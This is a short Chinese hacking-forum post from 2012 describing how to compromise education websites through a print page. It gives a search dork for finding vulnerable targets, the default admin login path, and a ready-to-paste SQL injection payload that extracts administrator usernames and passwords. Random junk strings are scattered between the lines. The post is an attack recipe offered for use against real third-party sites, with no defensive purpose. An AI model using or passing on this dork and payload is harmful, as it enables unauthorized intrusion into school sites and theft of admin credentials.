中国网络渗透测试联盟
标题:
某教育站打印页面漏洞批量webshell
[打印本页]
作者:
admin
时间:
2012-10-31 08:37
标题:
某教育站打印页面漏洞批量webshell
教育站打印页面漏洞
$ \$ u, t$ E9 d2 t
百度或google搜索 inurl:info_Print.asp?ArticleID=
u/ b8 s3 I, i' T( p/ ^
默认后台：/ad_login.asp
: }) y+ u0 w3 P$ C+ q! O( V
爆管理员密码：
3 r" Q4 S9 T% \; r8 m, x0 k
在 域名/inurl:info_Print.asp?ArticleID=数字 后边加空格，然后加下边的红色语句，回车即可
4 d- X s8 _3 Z+ a. G
5 r" Y2 W* ]' S6 F" L+ z* K; N
union select 1,2,username,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
$ H' Z) B% u# ~
o3 |( L( q' R. `6 K& e3 b
作者：佚名
. a! o) X0 o, v9 t& p, Y. y
( k& t* Y3 u& H+ _% @- T3 ^3 a
: `6 L2 {* {8 f5 {
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2